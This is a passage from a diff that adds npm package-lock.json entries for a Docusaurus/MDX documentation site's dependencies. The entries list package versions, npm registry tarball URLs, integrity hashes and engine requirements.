"sha512-ZnQMnLV4e7hDlUvw8H+U8ASL02SS2Gn6+9Ac3wGGLIe7+je2AeAOxPY+izIPJDfFDb7eDjev0Us8MO1iFRN8hA==", + "devOptional": true + }, + "node_modules/@jest/schemas": { + "version": "29.6.3", + "resolved": "https://registry.npmjs.org/@jest/schemas/-/schemas-29.6.3.tgz", + "integrity": "sha512-mo5j5X+jIZmJQveBKeS/clAueipV7KgiX1vMgCxam1RNYiqE1w62n0/tJJnHtjW8ZHcQco5gY85jA3mi0L+nSA==", + "dependencies": { + "@sinclair/typebox": "^0.27.8" + }, + "engines": { + "node": "^14.15.0 || ^16.10.0 || >=18.0.0" + } + }, + "node_modules/@jest/types": { + "version": "29.6.3", + "resolved": "https://registry.npmjs.org/@jest/types/-/types-29.6.3.tgz", + "integrity": "sha512-u3UPsIilWKOM3F9CXtrG8LEJmNxwoCQC/XVj4IKYXvvpx7QIi/Kg1LI5uDmDpKlac62NUtX7eLjRh+jVZcLOzw==", + "dependencies": { + "@jest/schemas": "^29.6.3", + "@types/istanbul-lib-coverage": "^2.0.0", + "@types/istanbul-reports": "^3.0.0", + "@types/node": "*", + "@types/yargs": "^17.0.8", + "chalk": "^4.0.0" + }, + "engines": { + "node": "^14.15.0 || ^16.10.0 || >=18.0.0" + } + }, + "node_modules/@jridgewell/gen-mapping": { + "version": "0.3.3", + "resolved": "https://registry.npmjs.org/@jridgewell/gen-mapping/-/gen-mapping-0.3.3.tgz", + "integrity": "sha512-HLhSWOLRi875zjjMG/r+Nv0oCW8umGb0BgEhyX3dDX3egwZtB8PqLnjz3yedt8R5StBrzcg4aBpnh8UA9D1BoQ==", + "dependencies": { + "@jridgewell/set-array": "^1.0.1", + "@jridgewell/sourcemap-codec": "^1.4.10", + "@jridgewell/trace-mapping": "^0.3.9" + }, + "engines": { + "node": ">=6.0.0" + } + }, + "node_modules/@jridgewell/resolve-uri": { + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/@jridgewell/resolve-uri/-/resolve-uri-3.1.1.tgz", + "integrity": "sha512-dSYZh7HhCDtCKm4QakX0xFpsRDqjjtZf/kjI/v3T3Nwt5r8/qz/M19F9ySyOqU94SXBmeG9ttTul+YnR4LOxFA==", + "engines": { + "node": ">=6.0.0" + } + }, + "node_modules/@jridgewell/set-array": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/@jridgewell/set-array/-/set-array-1.1.2.tgz", + "integrity": "sha512-xnkseuNADM0gt2bs+BvhO0p78Mk762YnZdsuzFV018NoG1Sj1SCQvpSqa7XUaTam5vAGasABV9qXASMKnFMwMw==", + "engines": { + "node": ">=6.0.0" + } + }, + "node_modules/@jridgewell/source-map": { + "version": "0.3.5", + "resolved": "https://registry.npmjs.org/@jridgewell/source-map/-/source-map-0.3.5.tgz", + "integrity": "sha512-UTYAUj/wviwdsMfzoSJspJxbkH5o1snzwX0//0ENX1u/55kkZZkcTZP6u9bwKGkv+dkk9at4m1Cpt0uY80kcpQ==", + "dependencies": { + "@jridgewell/gen-mapping": "^0.3.0", + "@jridgewell/trace-mapping": "^0.3.9" + } + }, + "node_modules/@jridgewell/sourcemap-codec": { + "version": "1.4.15", + "resolved": "https://registry.npmjs.org/@jridgewell/sourcemap-codec/-/sourcemap-codec-1.4.15.tgz", + "integrity": "sha512-eF2rxCRulEKXHTRiDrDy6erMYWqNw4LPdQ8UQA4huuxaQsVeRPFl2oM8oDGxMFhJUWZf9McpLtJasDDZb/Bpeg==" + }, + "node_modules/@jridgewell/trace-mapping": { + "version": "0.3.19", + "resolved": "https://registry.npmjs.org/@jridgewell/trace-mapping/-/trace-mapping-0.3.19.tgz", + "integrity": "sha512-kf37QtfW+Hwx/buWGMPcR60iF9ziHa6r/CZJIHbmcm4+0qrXiVdxegAH0F6yddEVQ7zdkjcGCgCzUu+BcbhQxw==", + "dependencies": { + "@jridgewell/resolve-uri": "^3.1.0", + "@jridgewell/sourcemap-codec": "^1.4.14" + } + }, + "node_modules/@leichtgewicht/ip-codec": { + "version": "2.0.4", + "resolved": "https://registry.npmjs.org/@leichtgewicht/ip-codec/-/ip-codec-2.0.4.tgz", + "integrity": "sha512-Hcv+nVC0kZnQ3tD9GVu5xSMR4VVYOteQIr/hwFPVEvPdlXqgGEuRjiheChHgdM+JyqdgNcmzZOX/tnl0JOiI7A==" + }, + "node_modules/@mdx-js/mdx": { + "version": "1.6.22", + "resolved": "https://registry.npmjs.org/@mdx-js/mdx/-/mdx-1.6.22.tgz", + "integrity": "sha512-AMxuLxPz2j5/6TpF/XSdKpQP1NlG0z11dFOlq+2IP/lSgl11GY8ji6S/rgsViN/L0BDvHvUMruRb7ub+24LUYA==", + "dependencies": { + "@babel/core": "7.12.9", + "@babel/plugin-syntax-jsx": "7.12.1", + "@babel/plugin-syntax-object-rest-spread": "7.8.3", + "@mdx-js/util": "1.6.22", + "babel-plugin-apply-mdx-type-prop": "1.6.22", + "babel-plugin-extract-import-names": "1.6.22", + "camelcase-css": "2.0.1", + "detab": "2.0.4", + "hast-util-raw": "6.0.1", + "lodash.uniq": "4.5.0", + "mdast-util-to-hast": "10.0.1", + "remark-footnotes": "2.0.0", + "remark-mdx": "1.6.22", + "remark-parse": "8.0.3", + "remark-squeeze-paragraphs": "4.0.0", + "style-to-object": "0.3.0", + "unified": "9.2.0", + "unist-builder": "2.0.3", + "unist-util-visit": "2.0.3" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/@mdx-js/mdx/node_modules/@babel/core": { + "version": "7.12.9", + "resolved": "https://registry.npmjs.org/@babel/core/-/core-7.12.9.tgz", + "integrity": "sha512-gTXYh3M5wb7FRXQy+FErKFAv90BnlOuNn1QkCK2lREoPAjrQCO49+HVSrFoe5uakFAF5eenS75KbO2vQiLrTMQ==", + "dependencies": { + "@babel/code-frame": "^7.10.4", + "@babel/generator": "^7.12.5", + "@babel/helper-module-transforms": "^7.12.1", + "@babel/helpers": "^7.12.5", + "@babel/parser": "^7.12.7", + "@babel/template": "^7.12.7", + "@babel/traverse": "^7.12.9", + "@babel/types": "^7.12.7", + "convert-source-map": "^1.7.0", + "debug": "^4.1.0", + "gensync": "^1.0.0-beta.1", + "json5": "^2.1.2", + "lodash": "^4.17.19", + "resolve": "^1.3.2", + "semver": "^5.4.1", + "source-map": "^0.5.0" + }, + "engines": { + "node": ">=6.9.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/babel" + } + }, + "node_modules/@mdx-js/mdx/node_modules/@babel/plugin-syntax-jsx": { + "version": "7.12.1", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-jsx/-/plugin-syntax-jsx-7.12.1.tgz", + "integrity": "sha512-1yRi7yAtB0ETgxdY9ti/p2TivUxJkTdhu/ZbF9MshVGqOx1TdB3b7xCXs49Fupgg50N45KcAsRP/ZqWjs9SRjg==", + "dependencies": { + "@babel/helper-plugin-utils": "^7.10.4" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@mdx-js/mdx/node_modules/is-plain-obj": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/is-plain-obj/-/is-plain-obj-2.1.0.tgz", + "integrity": "sha512-YWnfyRwxL/+SsrWYfOpUtz5b3YD+nyfkHvjbcanzk8zgyO4ASD67uVMRt8k5bM4lLMDnXfriRhOpemw+NfT1eA==", + "engines": { + "node": ">=8" + } + }, + "node_modules/@mdx-js/mdx/node_modules/semver": { + "version": "5.7.2", + "resolved": "https://registry.npmjs.org/semver/-/semver-5.7.2.tgz", + "integrity": "sha512-cBznnQ9KjJqU67B52RMC65CMarK2600WFnbkcaiwWq3xy/5haFJlshgnpjovMVJ+Hff49d8GEn0b87C5pDQ10g==", + "bin": { + "semver": "bin/semver" + } + }, + "node_modules/@mdx-js/mdx/node_modules/source-map": { + "version": "0.5.7", + "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.5.7.tgz", + "integrity": "sha512-LbrmJOMUSdEVxIKvdcJzQC+nQhe8FUZQTXQy6+I75skNgn3OoQ0DZA8YnFa7gp8tqtL3KPf1kmo0R5DoApeSGQ==", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/@mdx-js/mdx/node_modules/unified": { + "version": "9.2.0", + "resolved": "https://registry.npmjs.org/unified/-/unified-9.2.0.tgz", + "integrity": "sha512-vx2Z0vY+a3YoTj8+pttM3tiJHCwY5UFbYdiWrwBEbHmK8pvsPj2rtAX2BFfgXen8T39CJWblWRDT4L5WGXtDdg==", + "dependencies": { + "bail": "^1.0.0", + "extend": "^3.0.0", + "is-buffer": "^2.0.0", + "is-plain-obj": "^2.0.0", + "trough": "^1.0.0", + "vfile": "^4.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/@mdx-js/react": { + "version": "1.6.22", + "resolved": "https://registry.npmjs.org/@mdx-js/react/-/react-1.6.22.tgz", + "integrity": "sha512-TDoPum4SHdfPiGSAaRBw7ECyI8VaHpK8GJugbJIJuqyh6kzw9ZLJZW3HGL3NNrJGxcAixUvqROm+YuQOo5eXtg==", + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + }, + "peerDependencies": { + "react": "^16.13.1 || ^17.0.0" + } + }, + "node_modules/@mdx-js/util": { + "version": "1.6.22", + "resolved": "https://registry.npmjs.org/@mdx-js/util/-/util-1.6.22.tgz", + "integrity": "sha512-H1rQc1ZOHANWBvPcW+JpGwr+juXSxM8Q8YCkm3GhZd8REu1fHR3z99CErO1p9pkcfcxZnMdIZdIsXkOHY0NilA==", + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/@nodelib/fs.scandir": { + "version": "2.1.5", + "resolved": "https://registry.npmjs.org/@nodelib/fs.scandir/-/fs.scandir-2.1.5.tgz", + "integrity": "sha512-vq24Bq3ym5HEQm2NKCr3yXDwjc7vTsEThRDnkp2DK9p1uqLR+DHurm/NOTo0KG7HYHU7eppKZj3MyqYuMBf62g==", + "dependencies": { + "@nodelib/fs.stat": "2.0.5", + "run-parallel": "^1.1.9" + }, + "engines": { + "node": ">= 8" + } + }, + "node_modules/@nodelib/fs.stat": { + "version": "2.0.5", + "resolved": "https://registry.npmjs.org/@nodelib/fs.stat/-/fs.stat-2.0.5.tgz", + "integrity": "sha512-RkhPPp2zrqDAQA/2jNhnztcPAlv64XdhIp7a7454A5ovI7Bukxgt7MX7udwAu3zg1DcpPU0rz3VV1SeaqvY4+A==", + "engines": { + "node": ">= 8" + } + }, + "node_modules/@nodelib/fs.walk": { + "version": "1.2.8", + "resolved": "https://registry.npmjs.org/@nodelib/fs.walk/-/fs.walk-1.2.8.tgz", + "integrity": "sha512-oGB+UxlgWcgQkgwo8GcEGwemoTFt3FIO9ababBmaGwXIoBKZ+GTy0pP185beGg7Llih/NSHSV2XAs1lnznocSg==", + "dependencies": { + "@nodelib/fs.scandir": "2.1.5", + "fastq": "^1.6.0" + }, + "engines": { + "node": ">= 8" + } + }, + "node_modules/@philpl/buble": { + "version": "0.19.7", + "resolved": "https://registry.npmjs.org/@philpl/buble/-/buble-0.19.7.tgz", + "integrity": "sha512-wKTA2DxAGEW+QffRQvOhRQ0VBiYU2h2p8Yc1oBNlqSKws48/8faxqKNIuub0q4iuyTuLwtB8EkwiKwhlfV1PBA==", + "dependencies": { + "acorn": "^6.1.1", + "acorn-class-fields": "^0.2.1", + "acorn-dynamic-import": "^4.0.0", + "acorn-jsx": "^5.0.1", + "chalk": "^2.4.2", + "magic-string": "^0.25.2", + "minimist": "^1.2.0", + "os-homedir": "^1.0.1", + "regexpu-core": "^4.5.4" + }, + "bin": { + "buble": "bin/buble" + } + }, + "node_modules/@philpl/buble/node_modules/ansi-styles": { + "version": "3.2.1", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-3.2.1.tgz", + "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==", + "dependencies": { + "color-convert": "^1.9.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/@philpl/buble/node_modules/chalk": { + "version": "2.4.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-2.4.2.tgz", + "integrity": "sha512-Mti+f9lpJNcwF4tWV8/OrTTtF1gZi+f8FqlyAdouralcFWFQWF2+NgCHShjkCb+IFBLq9buZwE1xckQU4peSuQ==", + "dependencies": { + "ansi-styles": "^3.2.1", + "escape-string-regexp": "^1.0.5", + "supports-color": "^5.3.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/@philpl/buble/node_modules/color-convert": { + "version": "1.9.3", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-1.9.3.tgz", + "integrity": "sha512-QfAUtd+vFdAtFQcC8CCyYt1fYWxSqAiK2cSD6zDB8N3cpsEBAvRxp9zOGg6G/SHHJYAT88/az/IuDGALsNVbGg==", + "dependencies": { + "color-name": "1.1.3" + } + }, + "node_modules/@philpl/buble/node_modules/color-name": { + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.3.tgz", + "integrity": "sha512-72fSenhMw2HZMTVHeCA9KCmpEIbzWiQsjN+BHcBbS9vr1mtt+vJjPdksIBNUmKAW8TFUDPJK5SUU3QhE9NEXDw==" + }, + "node_modules/@philpl/buble/node_modules/escape-string-regexp": { + "version": "1.0.5", + "resolved": "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-1.0.5.tgz", + "integrity": "sha512-vbRorB5FUQWvla16U8R/qgaFIya2qGzwDrNmCZuYKrbdSUMG6I1ZCGQRefkRVhuOkIGVne7BQ35DSfo1qvJqFg==", + "engines": { + "node": ">=0.8.0" + } + }, + "node_modules/@philpl/buble/node_modules/has-flag": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-3.0.0.tgz", + "integrity": "sha512-sKJf1+ceQBr4SMkvQnBDNDtf4TXpVhVGateu0t918bl30FnbE2m4vNLX+VWe/dpjlb+HugGYzW7uQXH98HPEYw==", + "engines": { + "node": ">=4" + } + }, + "node_modules/@philpl/buble/node_modules/jsesc": { + "version": "0.5.0", + "resolved": "https://registry.npmjs.org/jsesc/-/jsesc-0.5.0.tgz", + "integrity": "sha512-uZz5UnB7u4T9LvwmFqXii7pZSouaRPorGs5who1Ip7VO0wxanFvBL7GkM6dTHlgX+jhBApRetaWpnDabOeTcnA==", + "bin": { + "jsesc": "bin/jsesc" + } + }, + "node_modules/@philpl/buble/node_modules/regenerate-unicode-properties": { + "version": "9.0.0", + "resolved": "https://registry.npmjs.org/regenerate-unicode-properties/-/regenerate-unicode-properties-9.0.0.tgz", + "integrity": "sha512-3E12UeNSPfjrgwjkR81m5J7Aw/T55Tu7nUyZVQYCKEOs+2dkxEY+DpPtZzO4YruuiPb7NkYLVcyJC4+zCbk5pA==", + "dependencies": { + "regenerate": "^1.4.2" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/@philpl/buble/node_modules/regexpu-core": { + "version": "4.8.0", + "resolved": "https://registry.npmjs.org/regexpu-core/-/regexpu-core-4.8.0.tgz", + "integrity": "sha512-1F6bYsoYiz6is+oz70NWur2Vlh9KWtswuRuzJOfeYUrfPX2o8n74AnUVaOGDbUqVGO9fNHu48/pjJO4sNVwsOg==", + "dependencies": { + "regenerate": "^1.4.2", + "regenerate-unicode-properties": "^9.0.0", + "regjsgen": "^0.5.2", + "regjsparser": "^0.7.0", + "unicode-match-property-ecmascript": "^2.0.0", + "unicode-match-property-value-ecmascript": "^2.0.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/@philpl/buble/node_modules/regjsparser": { + "version": "0.7.0", + "resolved": "https://registry.npmjs.org/regjsparser/-/regjsparser-0.7.0.tgz", + "integrity": "sha512-A4pcaORqmNMDVwUjWoTzuhwMGpP+NykpfqAsEgI1FSH/EzC7lrN5TMd+kN8YCovX+jMpu8eaqXgXPCa0g8FQNQ==", + "dependencies": { + "jsesc": "~0.5.0" + }, + "bin": { + "regjsparser": "bin/parser" + } + }, + "node_modules/@philpl/buble/node_modules/supports-color": { + "version": "5.5.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.5.0.tgz", + "integrity": "sha512-QjVjwdXIt408MIiAqCX4oUKsgU2EqAGzs2Ppkm4aQYbjm+ZEWEcW4SfFNTr4uMNZma0ey4f5lgLrkB0aX0QMow==", + "dependencies": { + "has-flag": "^3.0.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/@polka/url": { + "version": "1.0.0-next.21", + "resolved": "https://registry.npmjs.org/@polka/url/-/url-1.0.0-next.21.tgz", + "integrity": "sha512-a5Sab1C4/icpTZVzZc5Ghpz88yQtGOyNqYXcZgOssB2uuAr+wF/MvN6bgtW32q7HHrvBki+BsZ0OuNv6EV3K9g==" + }, + "node_modules/@sideway/address": { + "version": "4.1.4", + "resolved": "https://registry.npmjs.org/@sideway/address/-/address-4.1.4.tgz", + "integrity": "sha512-7vwq+rOHVWjyXxVlR76Agnvhy8I9rpzjosTESvmhNeXOXdZZB15Fl+TI9x1SiHZH5Jv2wTGduSxFDIaq0m3DUw==", + "dependencies": { + "@hapi/hoek": "^9.0.0" + } + }, + "node_modules/@sideway/formula": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/@sideway/formula/-/formula-3.0.1.tgz", + "integrity": "sha512-/poHZJJVjx3L+zVD6g9KgHfYnb443oi7wLu/XKojDviHy6HOEOA6z1Trk5aR1dGcmPenJEgb2sK2I80LeS3MIg==" + }, + "node_modules/@sideway/pinpoint": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/@sideway/pinpoint/-/pinpoint-2.0.0.tgz", + "integrity": "sha512-RNiOoTPkptFtSVzQevY/yWtZwf/RxyVnPy/OcA9HBM3MlGDnBEYL5B41H0MTn0Uec8Hi+2qUtTfG2WWZBmMejQ==" + }, + "node_modules/@sinclair/typebox": { + "version": "0.27.8", + "resolved": "https://registry.npmjs.org/@sinclair/typebox/-/typebox-0.27.8.tgz", + "integrity": "sha512-+Fj43pSMwJs4KRrH/938Uf+uAELIgVBmQzg/q1YG10djyfA3TnrU8N8XzqCh/okZdszqBQTZf96idMfE5lnwTA==" + }, + "node_modules/@slorber/static-site-generator-webpack-plugin": { + "version": "4.0.7", + "resolved": "https://registry.npmjs.org/@slorber/static-site-generator-webpack-plugin/-/static-site-generator-webpack-plugin-4.0.7.tgz", + "integrity": "sha512-Ug7x6z5lwrz0WqdnNFOMYrDQNTPAprvHLSh6+/fmml3qUiz6l5eq+2MzLKWtn/q5K5NpSiFsZTP/fck/3vjSxA==", + "dependencies": { + "eval": "^0.1.8", + "p-map": "^4.0.0", + "webpack-sources": "^3.2.2" + }, + "engines": { + "node": ">=14" + } + }, + "node_modules/@svgr/babel-plugin-add-jsx-attribute": { + "version": "6.5.1", + "resolved": "https://registry.npmjs.org/@svgr/babel-plugin-add-jsx-attribute/-/babel-plugin-add-jsx-attribute-6.5.1.tgz", + "integrity": "sha512-9PYGcXrAxitycIjRmZB+Q0JaN07GZIWaTBIGQzfaZv+qr1n8X1XUEJ5rZ/vx6OVD9RRYlrNnXWExQXcmZeD/BQ==", + "engines": { + "node": ">=10" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/gregberge" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@svgr/babel-plugin-remove-jsx-attribute": { + "version": "8.0.0", + "resolved": "https://registry.npmjs.org/@svgr/babel-plugin-remove-jsx-attribute/-/babel-plugin-remove-jsx-attribute-8.0.0.tgz", + "integrity": "sha512-BcCkm/STipKvbCl6b7QFrMh/vx00vIP63k2eM66MfHJzPr6O2U0jYEViXkHJWqXqQYjdeA9cuCl5KWmlwjDvbA==", + "engines": { + "node": ">=14" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/gregberge" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@svgr/babel-plugin-remove-jsx-empty-expression": { + "version": "8.0.0", + "resolved": "https://registry.npmjs.org/@svgr/babel-plugin-remove-jsx-empty-expression/-/babel-plugin-remove-jsx-empty-expression-8.0.0.tgz", + "integrity": "sha512-5BcGCBfBxB5+XSDSWnhTThfI9jcO5f0Ai2V24gZpG+wXF14BzwxxdDb4g6trdOux0rhibGs385BeFMSmxtS3uA==", + "engines": { + "node": ">=14" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/gregberge" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@svgr/babel-plugin-replace-jsx-attribute-value": { + "version": "6.5.1", + "resolved": "https://registry.npmjs.org/@svgr/babel-plugin-replace-jsx-attribute-value/-/babel-plugin-replace-jsx-attribute-value-6.5.1.tgz", + "integrity": "sha512-8DPaVVE3fd5JKuIC29dqyMB54sA6mfgki2H2+swh+zNJoynC8pMPzOkidqHOSc6Wj032fhl8Z0TVn1GiPpAiJg==", + "engines": { + "node": ">=10" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/gregberge" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@svgr/babel-plugin-svg-dynamic-title": { + "version": "6.5.1", + "resolved": "https://registry.npmjs.org/@svgr/babel-plugin-svg-dynamic-title/-/babel-plugin-svg-dynamic-title-6.5.1.tgz", + "integrity": "sha512-FwOEi0Il72iAzlkaHrlemVurgSQRDFbk0OC8dSvD5fSBPHltNh7JtLsxmZUhjYBZo2PpcU/RJvvi6Q0l7O7ogw==", + "engines": { + "node": ">=10" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/gregberge" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@svgr/babel-plugin-svg-em-dimensions": { + "version": "6.5.1", + "resolved": "https://registry.npmjs.org/@svgr/babel-plugin-svg-em-dimensions/-/babel-plugin-svg-em-dimensions-6.5.1.tgz", + "integrity": "sha512-gWGsiwjb4tw+ITOJ86ndY/DZZ6cuXMNE/SjcDRg+HLuCmwpcjOktwRF9WgAiycTqJD/QXqL2f8IzE2Rzh7aVXA==", + "engines": { + "node": ">=10" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/gregberge" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@svgr/babel-plugin-transform-react-native-svg": { + "version": "6.5.1", + "resolved": "https://registry.npmjs.org/@svgr/babel-plugin-transform-react-native-svg/-/babel-plugin-transform-react-native-svg-6.5.1.tgz", + "integrity": "sha512-2jT3nTayyYP7kI6aGutkyfJ7UMGtuguD72OjeGLwVNyfPRBD8zQthlvL+fAbAKk5n9ZNcvFkp/b1lZ7VsYqVJg==", + "engines": { + "node": ">=10" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/gregberge" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@svgr/babel-plugin-transform-svg-component": { + "version": "6.5.1", + "resolved": "https://registry.npmjs.org/@svgr/babel-plugin-transform-svg-component/-/babel-plugin-transform-svg-component-6.5.1.tgz", + "integrity": "sha512-a1p6LF5Jt33O3rZoVRBqdxL350oge54iZWHNI6LJB5tQ7EelvD/Mb1mfBiZNAan0dt4i3VArkFRjA4iObuNykQ==", + "engines": { + "node": ">=12" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/gregberge" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@svgr/babel-preset": { + "version": "6.5.1", + "resolved": "https://registry.npmjs.org/@svgr/babel-preset/-/babel-preset-6.5.1.tgz", + "integrity": "sha512-6127fvO/FF2oi5EzSQOAjo1LE3OtNVh11R+/8FXa+mHx1ptAaS4cknIjnUA7e6j6fwGGJ17NzaTJFUwOV2zwCw==", + "dependencies": { + "@svgr/babel-plugin-add-jsx-attribute": "^6.5.1", + "@svgr/babel-plugin-remove-jsx-attribute": "*", + "@svgr/babel-plugin-remove-jsx-empty-expression": "*", + "@svgr/babel-plugin-replace-jsx-attribute-value": "^6.5.1", + "@svgr/babel-plugin-svg-dynamic-title": "^6.5.1", + "@svgr/babel-plugin-svg-em-dimensions": "^6.5.1", + "@svgr/babel-plugin-transform-react-native-svg": "^6.5.1", + "@svgr/babel-plugin-transform-svg-component": "^6.5.1" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/gregberge" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@svgr/core": { + "version": "6.5.1", + "resolved": "https://registry.npmjs.org/@svgr/core/-/core-6.5.1.tgz", + "integrity": "sha512-/xdLSWxK5QkqG524ONSjvg3V/FkNyCv538OIBdQqPNaAta3AsXj/Bd2FbvR87yMbXO2hFSWiAe/Q6IkVPDw+mw==", + "dependencies": { + "@babel/core": "^7.19.6", + "@svgr/babel-preset": "^6.5.1", + "@svgr/plugin-jsx": "^6.5.1", + "camelcase": "^6.2.0", + "cosmiconfig": "^7.0.1" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/gregberge" + } + }, + "node_modules/@svgr/hast-util-to-babel-ast": { + "version": "6.5.1", + "resolved": "https://registry.npmjs.org/@svgr/hast-util-to-babel-ast/-/hast-util-to-babel-ast-6.5.1.tgz", + "integrity": "sha512-1hnUxxjd83EAxbL4a0JDJoD3Dao3hmjvyvyEV8PzWmLK3B9m9NPlW7GKjFyoWE8nM7HnXzPcmmSyOW8yOddSXw==", + "dependencies": { + "@babel/types": "^7.20.0", + "entities": "^4.4.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/gregberge" + } + }, + "node_modules/@svgr/plugin-jsx": { + "version": "6.5.1", + "resolved": "https://registry.npmjs.org/@svgr/plugin-jsx/-/plugin-jsx-6.5.1.tgz", + "integrity": "sha512-+UdQxI3jgtSjCykNSlEMuy1jSRQlGC7pqBCPvkG/2dATdWo082zHTTK3uhnAju2/6XpE6B5mZ3z4Z8Ns01S8Gw==", + "dependencies": { + "@babel/core": "^7.19.6", + "@svgr/babel-preset": "^6.5.1", + "@svgr/hast-util-to-babel-ast": "^6.5.1", + "svg-parser": "^2.0.4" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/gregberge" + }, + "peerDependencies": { + "@svgr/core": "^6.0.0" + } + }, + "node_modules/@svgr/plugin-svgo": { + "version": "6.5.1", + "resolved": "https://registry.npmjs.org/@svgr/plugin-svgo/-/plugin-svgo-6.5.1.tgz", + "integrity": "sha512-omvZKf8ixP9z6GWgwbtmP9qQMPX4ODXi+wzbVZgomNFsUIlHA1sf4fThdwTWSsZGgvGAG6yE+b/F5gWUkcZ/iQ==", + "dependencies": { + "cosmiconfig": "^7.0.1", + "deepmerge": "^4.2.2", + "svgo": "^2.8.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/gregberge" + }, + "peerDependencies": { + "@svgr/core": "*" + } + }, + "node_modules/@svgr/webpack": { + "version": "6.5.1", + "resolved": "https://registry.npmjs.org/@svgr/webpack/-/webpack-6.5.1.tgz", + "integrity": "sha512-cQ/AsnBkXPkEK8cLbv4Dm7JGXq2XrumKnL1dRpJD9rIO2fTIlJI9a1uCciYG1F2aUsox/hJQyNGbt3soDxSRkA==", + "dependencies": { + "@babel/core": "^7.19.6", + "@babel/plugin-transform-react-constant-elements": "^7.18.12", + "@babel/preset-env": "^7.19.4", + "@babel/preset-react": "^7.18.6", + "@babel/preset-typescript": "^7.18.6", + "@svgr/core": "^6.5.1", + "@svgr/plugin-jsx": "^6.5.1", + "@svgr/plugin-svgo": "^6.5.1" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/gregberge" + } + }, + "node_modules/@szmarczak/http-timer": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/@szmarczak/http-timer/-/http-timer-1.1.2.tgz", + "integrity": "sha512-XIB2XbzHTN6ieIjfIMV9hlVcfPU26s2vafYWQcZHWXHOxiaRZYEDKEwdl129Zyg50+foYV2jCgtrqSA6qNuNSA==", + "dependencies": { + "defer-to-connect": "^1.0.1" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/@trysound/sax": { + "version": "0.2.0", + "resolved": "https://registry.npmjs.org/@trysound/sax/-/sax-0.2.0.tgz", + "integrity": "sha512-L7z9BgrNEcYyUYtF+HaEfiS5ebkh9jXqbszz7pC0hRBPaatV0XjSD3+eHrpqFemQfgwiFF0QPIarnIihIDn7OA==", + "engines": { + "node": ">=10.13.0" + } + }, + "node_modules/@tsconfig/docusaurus": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/@tsconfig/docusaurus/-/docusaurus-2.0.0.tgz", + "integrity": "sha512-X5wptT7pXA/46/IRFTW76oR5GNjoy9qjNM/1JGhFV4QAsmLh3YUpJJA+Vpx7Ds6eEBxSxz1QrgoNEBy6rLVs8w==", + "dev": true + }, + "node_modules/@types/body-parser": { + "version": "1.19.2", + "resolved": "https://registry.npmjs.org/@types/body-parser/-/body-parser-1.19.2.tgz", + "integrity": "sha512-ALYone6pm6QmwZoAgeyNksccT9Q4AWZQ6PvfwR37GT6r6FWUPguq6sUmNGSMV2Wr761oQoBxwGGa6DR5o1DC9g==", + "dependencies": { + "@types/connect": "*", + "@types/node": "*" + } + }, + "node_modules/@types/bonjour": { + "version": "3.5.10", + "resolved": "https://registry.npmjs.org/@types/bonjour/-/bonjour-3.5.10.tgz", + "integrity": 